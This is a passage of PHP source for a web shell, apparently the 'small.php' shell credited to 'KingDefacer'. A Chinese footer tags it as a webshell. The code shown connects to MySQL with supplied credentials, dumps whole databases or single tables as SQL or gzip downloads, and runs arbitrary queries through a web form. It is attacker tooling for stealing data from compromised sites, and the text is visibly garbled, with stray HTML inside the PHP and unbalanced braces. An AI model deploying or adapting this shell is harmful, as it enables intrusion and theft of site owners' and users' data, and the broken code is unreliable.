$rows = mysql_fetch_array( $result );

$result2 = @mysql_query( 'show columns from `' . $rows[0] . '`', $mysql_link );

if ( ! $result2 ) {

$dump_file .= '#error table ' . $rows[0];

} else {

$dump_file .= 'create table `' . $rows[0] . "`(\n";

for ( $j = 0; $j < mysql_num_rows( $result2 ) - 1; $j ++ ) {

$rows2 = mysql_fetch_array( $result2 );

$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . ",\n";

}

$rows2 = mysql_fetch_array( $result2 );

$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . "\n";

$type[ $j ] = $rows2[1];

$dump_file .= ");\n";

mysql_free_result( $result2 );

$result2 = mysql_query( 'select * from `' . $rows[0] . '`', $mysql_link );

$columns = $j - 1;

for ( $j = 0; $j < mysql_num_rows( $result2 ); $j ++ ) {

$rows2 = mysql_fetch_array( $result2 );

$dump_file .= 'insert into `' . $rows[0] . '` values (';

for ( $k = 0; $k < $columns; $k ++ ) {

$dump_file .= $rows2[ $k ] == '' ? 'null,' : '\'' . addslashes( $rows2[ $k ] ) . '\',';

}

$dump_file .= ( $rows2[ $k ] == '' ? 'null);' : '\'' . addslashes( $rows2[ $k ] ) . '\');' ) . "\n";

if ( $archive == 'none' ) {

if ( $to_file ) {

fwrite( $t_f, $dump_file );

fflush( $t_f );

} else {

echo( $dump_file );

ob_flush();

}

$dump_file = '';

}

mysql_free_result( $result2 );

}

mysql_free_result( $result );

if ( $archive != 'none' ) {

$dump_file = gzencode( $dump_file );

header( 'Content-Length: ' . strlen( $dump_file ) . "\n" );

echo( $dump_file );

} else if ( $t_f ) {

fclose( $t_f );

echo( 'Dump for ' . $db_dump . ' now in ' . $to_file );

}

} else {

$result2 = @mysql_query( 'show columns from `' . $table_dump . '`', $mysql_link );

if ( ! $result2 ) {

echo( 'error table ' . $table_dump );

} else {

if ( ! $to_file ) {

header( 'Content-Type: application/x-' . ( $archive == 'none' ? 'octet-stream' : 'gzip' ) . "\n" );

header( "Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql" . ( $archive == 'none' ? '' : '.gz' ) . "\"\n\n" );

}

if ( $to_file === false ) {

header( 'Content-Type: application/x-' . ( $archive == 'none' ? 'octet-stream' : 'gzip' ) . "\n" );

header( "Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql" . ( $archive == 'none' ? '' : '.gz' ) . "\"\n\n" );

}

$dump_file .= "create table `{$table_dump}`(\n";

for ( $j = 0; $j < mysql_num_rows( $result2 ) - 1; $j ++ ) {

$rows2 = mysql_fetch_array( $result2 );

$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . ",\n";

}

$rows2 = mysql_fetch_array( $result2 );

$dump_file .= '`' . $rows2[0] . '` ' . $rows2[1] . ( $rows2[2] == 'NO' && $rows2[4] != 'NULL' ? ' NOT NULL DEFAULT \'' . $rows2[4] . '\'' : ' DEFAULT NULL' ) . "\n";

$type[ $j ] = $rows2[1];

$dump_file .= ");\n";

mysql_free_result( $result2 );

$result2 = mysql_query( 'select * from `' . $table_dump . '`', $mysql_link );

$columns = $j - 1;

for ( $j = 0; $j < mysql_num_rows( $result2 ); $j ++ ) {

$rows2 = mysql_fetch_array( $result2 );

$dump_file .= 'insert into `' . $table_dump . '` values (';

for ( $k = 0; $k < $columns; $k ++ ) {

$dump_file .= $rows2[ $k ] == '' ? 'null,' : '\'' . addslashes( $rows2[ $k ] ) . '\',';

}

$dump_file .= ( $rows2[ $k ] == '' ? 'null);' : '\'' . addslashes( $rows2[ $k ] ) . '\');' ) . "\n";

if ( $archive == 'none' ) {

if ( $to_file ) {

fwrite( $t_f, $dump_file );

fflush( $t_f );

} else {

echo( $dump_file );

ob_flush();

}

$dump_file = '';

}

mysql_free_result( $result2 );

if ( $archive != 'none' ) {

$dump_file = gzencode( $dump_file );

header( 'Content-Length: ' . strlen( $dump_file ) . "\n" );

echo $dump_file;

} else if ( $t_f ) {

fclose( $t_f );

echo( 'Dump for ' . $db_dump . ' now in ' . $to_file );

}

break;

}

case 'query' : {

echo( $head . $pages );

<hr>

<table>

<td>

<tr>

<td>Passwd :<input name='passwd' type=text value='<?= $passwd ?>'></td>

</tr>

</tr>

</table>

</td>

<td>

<table>

<tr>

</tr>

<tr>

<td>Only Table :</td>

</tr>

<input name='archive' type=radio value='none'>without arch

<input name='archive' type=radio value='gzip' checked=true>gzip archive

<tr>

</tr>

<tr>

<td>Save result to :</td>

</tr>

</table>

</td>

</table>

</form>

<hr>

$mysql_link = @mysql_connect( $host, $user, $passwd );

if ( ! ( $mysql_link ) ) {

echo( 'Connect error' );

} else {

if ( $db != '' ) {

if ( ! ( @mysql_select_db( $db, $mysql_link ) ) ) {

echo( 'DB error' );

mysql_close( $mysql_link );

break;

}

//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols

$result = @mysql_query( $query, $mysql_link );

if ( ! ( $result ) ) {

echo( mysql_error() );

} else {

echo( "<table valign=top align=left>\n<tr>" );

for ( $i = 0; $i < mysql_num_fields( $result ); $i ++ ) {

echo( '<td><b>' . htmlspecialchars( mysql_field_name( $result, $i ) ) . '</b> </td>' );

}

echo( "\n</tr>\n" );

for ( $i = 0; $i < mysql_num_rows( $result ); $i ++ ) {

$rows = mysql_fetch_array( $result );

echo( '<tr valign=top align=left>' );

for ( $j = 0; $j < mysql_num_fields( $result ); $j ++ ) {

echo( '<td>' . ( htmlspecialchars( $rows[ $j ] ) ) . '</td>' );

}

echo( "</tr>\n" );

}

echo( "</table>\n" );

}

mysql_close( $mysql_link );

}

break;

}

break;

}

<h1>Edited By KingDefacer<h1>

标签：webshell 原文连接：small.php webshell 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。

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